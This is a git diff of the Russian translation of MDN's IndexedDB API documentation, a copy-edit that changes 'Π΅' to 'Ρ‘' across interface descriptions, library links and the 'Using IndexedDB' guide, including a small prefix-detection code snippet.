+ <dd>ΠžΠΏΡ€Π΅Π΄Π΅Π»ΡΠ΅Ρ‚ Π΄ΠΈΠ°ΠΏΠ°Π·ΠΎΠ½ ΠΊΠ»ΡŽΡ‡Π΅ΠΉ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ для извлСчСния Π΄Π°Π½Π½Ρ‹Ρ… ΠΈΠ· Π±Π°Π·Ρ‹ Π΄Π°Π½Π½Ρ‹Ρ… Π² ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠΌ Π΄ΠΈΠ°ΠΏΠ°Π·ΠΎΠ½Π΅.</dd>
<dt>{{domxref("IDBLocaleAwareKeyRange")}} {{Non-standard_inline}}</dt>
- <dd>ΠžΠΏΡ€Π΅Π΄Π΅Π»ΡΠ΅Ρ‚Β Π΄ΠΈΠ°ΠΏΠ°Π·ΠΎΠ½ ΠΊΠ»ΡŽΡ‡Π΅ΠΉ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ для извлСчСния Π΄Π°Π½Π½Ρ‹Ρ… ΠΈΠ· Π±Π°Π·Ρ‹ Π΄Π°Π½Π½Ρ‹Ρ… Π² ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠΌ Π΄ΠΈΠ°ΠΏΠ°Π·ΠΎΠ½Π΅, отсортированных Π² соотвСтствии с ΠΏΡ€Π°Π²ΠΈΠ»Π°ΠΌΠΈ Π»ΠΎΠΊΠ°Π»ΠΈ, ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠΉ для ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ³ΠΎ индСкса (см. <a href="/en-US/docs/Web/API/IDBObjectStore/createIndex#Parameters"><code>createIndex()</code>'s optionalParameters</a>.). Π­Ρ‚ΠΎΡ‚ интСрфСйс Π½Π΅ Π²Ρ…ΠΎΠ΄ΠΈΡ‚ Π² ΡΠΏΠ΅Ρ†ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΡŽ 2.0.</dd>
+ <dd>ΠžΠΏΡ€Π΅Π΄Π΅Π»ΡΠ΅Ρ‚Β Π΄ΠΈΠ°ΠΏΠ°Π·ΠΎΠ½ ΠΊΠ»ΡŽΡ‡Π΅ΠΉ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ для извлСчСния Π΄Π°Π½Π½Ρ‹Ρ… ΠΈΠ· Π±Π°Π·Ρ‹ Π΄Π°Π½Π½Ρ‹Ρ… Π² ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠΌ Π΄ΠΈΠ°ΠΏΠ°Π·ΠΎΠ½Π΅, отсортированных Π² соотвСтствии с ΠΏΡ€Π°Π²ΠΈΠ»Π°ΠΌΠΈ Π»ΠΎΠΊΠ°Π»ΠΈ, ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠΉ для ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠ³ΠΎ индСкса (см. <a href="/en-US/docs/Web/API/IDBObjectStore/createIndex#Parameters"><code>createIndex()</code>'s optionalParameters</a>.). Π­Ρ‚ΠΎΡ‚ интСрфСйс Π½Π΅ Π²Ρ…ΠΎΠ΄ΠΈΡ‚ Π² ΡΠΏΠ΅Ρ†ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΡŽ 2.0.</dd>
</dl>
<h3 id="ΠŸΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠ΅_интСрфСйсы_событий">ΠŸΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠ΅ интСрфСйсы событий</h3>
@@ -91,11 +91,11 @@ translation_of: Web/API/IndexedDB_API
<h3 id="Π£ΡΡ‚Π°Ρ€Π΅Π²ΡˆΠΈΠ΅_интСрфСйсы">Π£ΡΡ‚Π°Ρ€Π΅Π²ΡˆΠΈΠ΅ интСрфСйсы</h3>
-<p>Ранняя вСрсия спСцификации Ρ‚Π°ΠΊΠΆΠ΅ опрСдСляла эти Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ ΡƒΠ΄Π°Π»Π΅Π½Π½Ρ‹Π΅ интСрфСйсы. Они всС Π΅Ρ‰Π΅ Π·Π°Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½Ρ‹ Π½Π° Ρ‚ΠΎΡ‚ случай, Ссли Π²Π°ΠΌ понадобится ΠΎΠ±Π½ΠΎΠ²ΠΈΡ‚ΡŒ Ρ€Π°Π½Π΅Π΅ написанный ΠΊΠΎΠ΄:</p>
+<p>Ранняя вСрсия спСцификации Ρ‚Π°ΠΊΠΆΠ΅ опрСдСляла эти Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ ΡƒΠ΄Π°Π»Ρ‘Π½Π½Ρ‹Π΅ интСрфСйсы. Они всС Π΅Ρ‰Ρ‘ Π·Π°Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½Ρ‹ Π½Π° Ρ‚ΠΎΡ‚ случай, Ссли Π²Π°ΠΌ понадобится ΠΎΠ±Π½ΠΎΠ²ΠΈΡ‚ΡŒ Ρ€Π°Π½Π΅Π΅ написанный ΠΊΠΎΠ΄:</p>
<dl>
<dt>{{domxref("IDBVersionChangeRequest")}} {{obsolete_inline}}</dt>
- <dd>ΠŸΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΠ΅Ρ‚ запрос Π½Π° ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠ΅ вСрсии Π±Π°Π·Ρ‹ Π΄Π°Π½Π½Ρ‹Ρ…. Π‘ Ρ‚Π΅Ρ… ΠΏΠΎΡ€ способ измСнСния вСрсии Π±Π°Π·Ρ‹ Π΄Π°Π½Π½Ρ‹Ρ… измСнился (ΠΏΡƒΡ‚Π΅ΠΌ Π²Ρ‹Π·ΠΎΠ²Π° {{domxref("IDBFactory.open")}} Π±Π΅Π· Π²Ρ‹Π·ΠΎΠ²Π° {{domxref("IDBDatabase.setVersion")}}), Π° интСрфСйс {{domxref("IDBOpenDBRequest")}} Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ ΠΈΠΌΠ΅Π΅Ρ‚ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ ΡƒΠ΄Π°Π»Π΅Π½Π½ΠΎΠ³ΠΎ {{domxref("IDBVersionChangeRequest")}}.</dd>
+ <dd>ΠŸΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΠ΅Ρ‚ запрос Π½Π° ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠ΅ вСрсии Π±Π°Π·Ρ‹ Π΄Π°Π½Π½Ρ‹Ρ…. Π‘ Ρ‚Π΅Ρ… ΠΏΠΎΡ€ способ измСнСния вСрсии Π±Π°Π·Ρ‹ Π΄Π°Π½Π½Ρ‹Ρ… измСнился (ΠΏΡƒΡ‚Ρ‘ΠΌ Π²Ρ‹Π·ΠΎΠ²Π° {{domxref("IDBFactory.open")}} Π±Π΅Π· Π²Ρ‹Π·ΠΎΠ²Π° {{domxref("IDBDatabase.setVersion")}}), Π° интСрфСйс {{domxref("IDBOpenDBRequest")}} Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ ΠΈΠΌΠ΅Π΅Ρ‚ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ ΡƒΠ΄Π°Π»Ρ‘Π½Π½ΠΎΠ³ΠΎ {{domxref("IDBVersionChangeRequest")}}.</dd>
<dt>{{domxref("IDBDatabaseException")}}Β  {{obsolete_inline}}</dt>
<dd>ΠŸΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΠ΅Ρ‚ ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΡ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠ³ΡƒΡ‚ Π²ΠΎΠ·Π½ΠΈΠΊΠ½ΡƒΡ‚ΡŒ ΠΏΡ€ΠΈ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠΈ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΉ с Π±Π°Π·ΠΎΠΉ Π΄Π°Π½Π½Ρ‹Ρ….</dd>
<dt>{{domxref("IDBTransactionSync")}} {{obsolete_inline}}</dt>
@@ -148,7 +148,7 @@ translation_of: Web/API/IndexedDB_API
<ul>
<li><a href="https://localforage.github.io/localForage/">localForage</a>: Polyfill, ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²Π»ΡΡŽΡ‰ΠΈΠΉ простоС имя: синтаксис значСния для клиСнтского Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰Π° Π΄Π°Π½Π½Ρ‹Ρ…, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ IndexedDB Π² Ρ„ΠΎΠ½ΠΎΠ²ΠΎΠΌ Ρ€Π΅ΠΆΠΈΠΌΠ΅, Π½ΠΎ обращаСтся к WebSQL, Π° Π·Π°Ρ‚Π΅ΠΌ ΠΊ localStorage Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ…, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π΅ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‚ IndexedDB.</li>
- <li><a href="http://www.dexie.org/">Dexie.js</a>: ΠžΠ±Π΅Ρ€Ρ‚ΠΊΠ° для IndexedDB, ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‰Π°Ρ Π·Π½Π°Ρ‡ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ ΡƒΡΠΊΠΎΡ€ΠΈΡ‚ΡŒ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΡƒ ΠΊΠΎΠ΄Π° благодаря красивому ΠΈ простому синтаксису.</li>
+ <li><a href="http://www.dexie.org/">Dexie.js</a>: ΠžΠ±Ρ‘Ρ€Ρ‚ΠΊΠ° для IndexedDB, ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‰Π°Ρ Π·Π½Π°Ρ‡ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ ΡƒΡΠΊΠΎΡ€ΠΈΡ‚ΡŒ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΡƒ ΠΊΠΎΠ΄Π° благодаря красивому ΠΈ простому синтаксису.</li>
<li><a href="https://github.com/erikolson186/zangodb">ZangoDB</a>: Π˜Π½Ρ‚Π΅Ρ€Ρ„Π΅ΠΉΡ, ΠΏΠΎΠ΄ΠΎΠ±Π½Ρ‹ΠΉ MongoDB, для IndexedDB, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚ Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²ΠΎ Π·Π½Π°ΠΊΠΎΠΌΡ‹Ρ… Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ Ρ„ΠΈΠ»ΡŒΡ‚Ρ€Π°Ρ†ΠΈΠΈ, ΠΏΡ€ΠΎΠ΅ΠΊΡ†ΠΈΠΈ, сортировки, обновлСния ΠΈ агрСгирования MongoDB.</li>
<li><a href="http://jsstore.net/">JsStore</a>: ΠžΠ±ΠΎΠ»ΠΎΡ‡ΠΊΠ° IndexedDB с синтаксисом, ΠΏΠΎΠ΄ΠΎΠ±Π½Ρ‹ΠΌ SQL.</li>
<li><a href="https://github.com/mWater/minimongo">MiniMongo</a>: ΠšΠ»ΠΈΠ΅Π½Ρ‚ΡΠΊΠΈΠΉ MongoDB, ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅ΠΌΡ‹ΠΉ localStorage, с синхронизациСй сСрвСра ΠΏΠΎ http. MiniMongo ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ Π² MeteorJS.</li>
diff --git a/files/ru/web/api/indexeddb_api/using_indexeddb/index.html b/files/ru/web/api/indexeddb_api/using_indexeddb/index.html
index 824a0372d0..cc7345e92b 100644
--- a/files/ru/web/api/indexeddb_api/using_indexeddb/index.html
+++ b/files/ru/web/api/indexeddb_api/using_indexeddb/index.html
@@ -14,7 +14,7 @@ translation_of: Web/API/IndexedDB_API/Using_IndexedDB
<div class="warning">НСкоторыС части Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π° Π½Π΅ ΠΏΠ΅Ρ€Π΅Π²Π΅Π΄Π΅Π½Ρ‹, Π² основном это повсСмСстно принятыС Π² ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠΈ Ρ€Π΅ΠΊΠΎΠΌΠ΅Π½Π΄Π°Ρ†ΠΈΠΈ, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠ° ошибок ΠΈΠ»ΠΈ Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ ΠΎΡ‡Π΅Π²ΠΈΠ΄Π½ΠΎΠ΅. Π’Π΅ΠΌ Π½Π΅ ΠΌΠ΅Π½Π΅Π΅ Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅/Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΏΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠΈΡ‚ΡŒ ΠΏΠ΅Ρ€Π΅Π²ΠΎΠ΄. Главная Ρ†Π΅Π»ΡŒ ΠΏΠ΅Ρ€Π΅Π²ΠΎΠ΄Π° - ΠΏΠΎΠ½ΡΡ‚ΡŒ основныС ΠΊΠΎΠ½Ρ†Π΅ΠΏΡ†ΠΈΠΈ IndexedDB, ΠΎΠ±Ρ€Π°Ρ‚ΠΈΡ‚ΡŒ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅ Π½Π° Π²Π°ΠΆΠ½Ρ‹Π΅ Π½ΡŽΠ°Π½ΡΡ‹, ΠΏΡ€ΠΎΠΊΠΎΠΌΠΌΠ΅Π½Ρ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ исходный ΠΊΠΎΠ΄ ΠΈ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρ‹.</div>
-<p>Π‘ΠΏΡ€Π°Π²ΠΎΡ‡Π½ΡƒΡŽ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°Ρ†ΠΈΡŽ ΠΏΠΎ IndexedDB API Π²Ρ‹ Π½Π°ΠΉΠ΄Π΅Ρ‚Π΅ Π² Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π΅ <a href="/en/IndexedDB" title="https://developer.mozilla.org/en/IndexedDB">IndexedDB.</a> Π’ Π½Π΅ΠΌ описаны Ρ‚ΠΈΠΏΡ‹ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ², ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹Ρ… Π² IndexedDB, Π° Ρ‚Π°ΠΊΠΆΠ΅ синхронный ΠΈ асинхронный API.</p>
+<p>Π‘ΠΏΡ€Π°Π²ΠΎΡ‡Π½ΡƒΡŽ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°Ρ†ΠΈΡŽ ΠΏΠΎ IndexedDB API Π²Ρ‹ Π½Π°ΠΉΠ΄Ρ‘Ρ‚Π΅ Π² Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π΅ <a href="/en/IndexedDB" title="https://developer.mozilla.org/en/IndexedDB">IndexedDB.</a> Π’ Π½Π΅ΠΌ описаны Ρ‚ΠΈΠΏΡ‹ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ², ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹Ρ… Π² IndexedDB, Π° Ρ‚Π°ΠΊΠΆΠ΅ синхронный ΠΈ асинхронный API.</p>
<h2 id="pattern" name="pattern">Випичная схСма Ρ€Π°Π±ΠΎΡ‚Ρ‹ с Π±Π°Π·ΠΎΠΉ</h2>
@@ -36,11 +36,11 @@ translation_of: Web/API/IndexedDB_API/Using_IndexedDB
<h2 id="open" name="open">Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅ ΠΈ структурированиС Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰Π°</h2>
-<p>Π’Π°ΠΊ ΠΊΠ°ΠΊ спСцификация ΠΏΠΎΠΊΠ° Π΅Ρ‰Π΅ находится Π² процСссС Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ, Ρ‚ΠΎ Ρ‚Π΅ΠΊΡƒΡ‰ΠΈΠ΅ Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ IndexedDB ΠΎΡ‚Π»ΠΈΡ‡Π°ΡŽΡ‚ΡΡ Ρƒ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ² ΠΈ ΠΌΠΎΠ³ΡƒΡ‚ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ ΠΈΠΌΠ΅Π½Π° ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ², Π²ΠΊΠ»ΡŽΡ‡Π°ΡŽΡ‰ΠΈΠ΅ Π² сСбя прСфиксы Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ². Однако, ΠΊΠ°ΠΊ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ стандарт Π±ΡƒΠ΄Π΅Ρ‚ принят,Β  прСфиксы Π±ΡƒΠ΄ΡƒΡ‚ ΡƒΠ΄Π°Π»Π΅Π½Ρ‹. К настоящСму ΠΌΠΎΠΌΠ΅Π½Ρ‚Ρƒ прСфиксы ΡƒΠΆΠ΅ ΡƒΠ΄Π°Π»Π΅Π½Ρ‹ Π² рСализациях IndexedDB Π² Internet Explorer 10, Firefox 16 ΠΈ Chrome 24. Π‘Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹, построСнныС Π½Π° Π±Π°Π·Π΅ Gecko ΠΏΠΎΠΊΠ° Π΅Ρ‰Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ прСфикс <code>moz,</code> Π° Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ Π½Π° Π±Π°Π·Π΅ Π΄Π²ΠΈΠΆΠΊΠ° <code>webkit</code> ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ прСфикс <code>webkit.</code></p>
+<p>Π’Π°ΠΊ ΠΊΠ°ΠΊ спСцификация ΠΏΠΎΠΊΠ° Π΅Ρ‰Ρ‘ находится Π² процСссС Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ, Ρ‚ΠΎ Ρ‚Π΅ΠΊΡƒΡ‰ΠΈΠ΅ Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ IndexedDB ΠΎΡ‚Π»ΠΈΡ‡Π°ΡŽΡ‚ΡΡ Ρƒ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ² ΠΈ ΠΌΠΎΠ³ΡƒΡ‚ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ ΠΈΠΌΠ΅Π½Π° ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ², Π²ΠΊΠ»ΡŽΡ‡Π°ΡŽΡ‰ΠΈΠ΅ Π² сСбя прСфиксы Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ². Однако, ΠΊΠ°ΠΊ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ стандарт Π±ΡƒΠ΄Π΅Ρ‚ принят,Β  прСфиксы Π±ΡƒΠ΄ΡƒΡ‚ ΡƒΠ΄Π°Π»Π΅Π½Ρ‹. К настоящСму ΠΌΠΎΠΌΠ΅Π½Ρ‚Ρƒ прСфиксы ΡƒΠΆΠ΅ ΡƒΠ΄Π°Π»Π΅Π½Ρ‹ Π² рСализациях IndexedDB Π² Internet Explorer 10, Firefox 16 ΠΈ Chrome 24. Π‘Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹, построСнныС Π½Π° Π±Π°Π·Π΅ Gecko ΠΏΠΎΠΊΠ° Π΅Ρ‰Ρ‘ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ прСфикс <code>moz,</code> Π° Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ Π½Π° Π±Π°Π·Π΅ Π΄Π²ΠΈΠΆΠΊΠ° <code>webkit</code> ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ прСфикс <code>webkit.</code></p>
<h3 id="ИспользованиС_ΡΠΊΡΠΏΠ΅Ρ€ΠΈΠΌΠ΅Π½Ρ‚Π°Π»ΡŒΠ½ΠΎΠΉ_вСрсии_IndexedDB">ИспользованиС ΡΠΊΡΠΏΠ΅Ρ€ΠΈΠΌΠ΅Π½Ρ‚Π°Π»ΡŒΠ½ΠΎΠΉ вСрсии IndexedDB</h3>
-<p>Для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€ΠΎΡ‚Π΅ΡΡ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ вашС Π²Π΅Π±-ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ Π½Π° Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ…, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎΠΊΠ° Π΅Ρ‰Π΅ Π½Π΅ ΠΎΡ‚ΠΊΠ°Π·Π°Π»ΠΈΡΡŒ ΠΎΡ‚ прСфикса, ΠΌΠΎΠΆΠ½ΠΎ Π²ΠΎΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌ ΠΊΠΎΠ΄ΠΎΠΌ:</p>
+<p>Для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€ΠΎΡ‚Π΅ΡΡ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ вашС Π²Π΅Π±-ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ Π½Π° Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ…, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎΠΊΠ° Π΅Ρ‰Ρ‘ Π½Π΅ ΠΎΡ‚ΠΊΠ°Π·Π°Π»ΠΈΡΡŒ ΠΎΡ‚ прСфикса, ΠΌΠΎΠΆΠ½ΠΎ Π²ΠΎΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌ ΠΊΠΎΠ΄ΠΎΠΌ:</p>
<pre class="brush: js">// провСряСм сущСствования прСфикса.
window.indexedDB = window.indexedDB || window.mozIndexedDB || window.webkitIndexedDB || window.msIndexedDB;
@@ -67,9 +67,9 @@ var request = window.indexedDB.open("MyTestDatabase", 3);
<p>Π’ΠΈΠ΄ΠΈΡ‚Π΅? ΠžΡ‚ΠΊΡ€Ρ‹Ρ‚ΠΈΠ΅ Π±Π°Π·Ρ‹ Π΄Π°Π½Π½Ρ‹Ρ…, ΠΏΠΎΠ΄ΠΎΠ±Π½ΠΎ Π»ΡŽΠ±Ρ‹ΠΌ Π΄Ρ€ΡƒΠ³ΠΈΠΌ опСрациям, запускаСтся запросом.</p>
-<p>На  самом Π΄Π΅Π»Π΅ запрос открытия Π±Π°Π·Ρ‹ Π΄Π°Π½Π½Ρ‹Ρ… Π½Π΅ ΠΏΡ€ΠΈΠ²ΠΎΠ΄ΠΈΡ‚ ΠΊ Π½Π΅ΠΌΠ΅Π΄Π»Π΅Π½Π½ΠΎΠΌΡƒ ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚ΠΈΡŽ Π±Π°Π·Ρ‹ ΠΈΠ»ΠΈ запуску Ρ‚Ρ€Π°Π½Π·Π°ΠΊΡ†ΠΈΠΈ. Π’Ρ‹Π·ΠΎΠ² Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ<code> open()</code> Π²Π΅Ρ€Π½Π΅Ρ‚ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ <a href="/en-US/docs/IndexedDB/IDBOpenDBRequest" title="/en-US/docs/IndexedDB/IDBOpenDBRequest"><code>IDBOpenDBRequest</code></a> , содСрТащий Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ (Ссли ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎ) ΠΈΠ»ΠΈ ΠΎΡˆΠΈΠ±ΠΊΡƒ, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ ΠΊΠ°ΠΊ событиС. Π‘ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²ΠΎ Π΄Ρ€ΡƒΠ³ΠΈΡ… асинхронных Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ IndexedDB Π΄Π΅Π»Π°Π΅Ρ‚ Ρ‚ΠΎ ΠΆΠ΅ самоС - Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ <a href="/en-US/docs/IndexedDB/IDBRequest" title="/en-US/docs/IndexedDB/IDBRequest"><code style="font-size: 14px; color: rgb(51, 51, 51);">IDBRequest</code></a>Β  с Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ΠΎΠΌ ΠΈΠ»ΠΈ ошибкой. Π Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ open всСгда Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ экзСмпляр ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°Β <code style="font-size: 14px; color: rgb(51, 51, 51);"><a href="/en-US/docs/IndexedDB/IDBDatabase" title="/en-US/docs/IndexedDB/IDBDatabase">IDBDatabase</a>.</code></p>
+<p>На  самом Π΄Π΅Π»Π΅ запрос открытия Π±Π°Π·Ρ‹ Π΄Π°Π½Π½Ρ‹Ρ… Π½Π΅ ΠΏΡ€ΠΈΠ²ΠΎΠ΄ΠΈΡ‚ ΠΊ Π½Π΅ΠΌΠ΅Π΄Π»Π΅Π½Π½ΠΎΠΌΡƒ ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚ΠΈΡŽ Π±Π°Π·Ρ‹ ΠΈΠ»ΠΈ запуску Ρ‚Ρ€Π°Π½Π·Π°ΠΊΡ†ΠΈΠΈ. Π’Ρ‹Π·ΠΎΠ² Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ<code> open()</code> Π²Π΅Ρ€Π½Ρ‘Ρ‚ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ <a href="/en-US/docs/IndexedDB/IDBOpenDBRequest" title="/en-US/docs/IndexedDB/IDBOpenDBRequest"><code>IDBOpenDBRequest</code></a> , содСрТащий Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ (Ссли ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎ) ΠΈΠ»ΠΈ ΠΎΡˆΠΈΠ±ΠΊΡƒ, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ ΠΊΠ°ΠΊ событиС. 